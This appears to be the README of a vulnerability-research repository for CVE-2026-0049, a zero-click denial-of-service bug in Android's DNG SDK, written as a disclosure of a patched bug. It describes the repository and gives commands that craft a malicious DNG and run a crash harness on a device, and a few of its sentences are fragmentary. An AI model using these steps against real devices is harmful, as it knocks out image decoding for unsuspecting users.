
Android के DNG SDK में एक zero-click DoS का PoC और विश्लेषण, जिसमें तैयार किए गए DNG नमूने, एक NDK क्रैश हार्नेस, और MapTable overflow का UBSan/IntSan पुनरुत्पादन शामिल है।
पूर्ण शोध सामग्री और PoC। कथात्मक विश्लेषण: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md।
fAreaSpec.Plane() + fAreaSpec.Planes() पर unsigned integer ओवरफ्लो — dng_opcode_MapTable::ProcessArea में (dng_sdk/source/dng_misc_opcodes.cpp:388)।libdng_sdk.so को संकलित करता है, वह ओवरफ्लो को abort() → SIGABRT में बदल देता है उस प्रक्रिया में जो DNG को डिकोड करती है।2026-04-01, A-456471290)। दो पैच: dng_sdk में अंकगणितीय सुधार (+ को - के रूप में फिर से लिखा गया) + LocalImageResolver.java में MIME allowlist जो DNG को अस्वीकार करती है (§14)।लेख इन विवरणों को भी शामिल करता है: PoC निर्माण की पूरी प्रक्रिया (§6), NDK harness का उपयोग क्यों किया गया (§7), UBSan/IntSan फ़्लैग -fsanitize=undefined बनाम =integer, recover/no-recover/trap, full बनाम minimal runtime (§10), और IntSan बनाम SafeInt बनाम MTE (§11) के बीच अंतर।
CVE-2026-0049/
├── BLOG.md articolo completo — italiano (17 sezioni)
├── BLOG.en.md full article — English (17 sections)
├── poc/
│ ├── inject_opcode.py [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│ ├── gen_base_dng.py genera il DNG Bayer valido di base (richiede pidng)
│ ├── make_dng.py generatore stand-alone (DNG minimale + opcode)
│ └── make_poc_dng.py primo generatore from-scratch (LinearRaw minimale)
├── harness/
│ ├── decode_poc.c harness NDK AImageDecoder (crash on-device)
│ └── dng_xmp_stub.cpp stub XMP per compilare dng_validate su PC
├── samples/
│ ├── valid_poc.dng PoC funzionante (fa crashare il decoder di sistema)
│ ├── base_benign.dng controllo benigno (decodifica senza crash)
│ └── poc_minimal.dng variante minimale from-scratch
└── evidence/
├── crash_backtrace.txt tombstone reale dal Pixel 9
└── device_analysis.md analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE
pip install pidng
python3 poc/gen_base_dng.py base # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng
महत्वपूर्ण विवरण: AreaSpec गैर-खाली होना चाहिए (0,0,H,W); खाली क्षेत्र के साथ Android की dng_sdk शॉर्ट-सर्किट करती है और डिकोडिंग बिना क्रैश के त्रुटि लौटाती है (BLOG.md का §6.6 देखें)। एक पूरी तरह से मान्य DNG की आवश्यकता क्यों है, न कि मिनिमल वाली: SkRawCodec (सिस्टम डिकोडर) Glide/Photos की तुलना में अधिक सख्त है और बिना पूर्ण रंग मेटाडेटा वाले DNG को अस्वीकार करता है (§2, §6.1)।
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
-O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/ # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea
dng_sdk स्रोतों को -fsanitize=integer -fno-sanitize-recover लागू करके केवल dng_misc_opcodes.cpp पर संकलित करें (XMP SDK के बिना लिंक करने के लिए harness/dng_xmp_stub.cpp का उपयोग करें)। फिर:
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512
केवल शोध/शैक्षिक उद्देश्यों के लिए। केवल स्वामित्व वाले हार्डवेयर पर परीक्षण किया गया।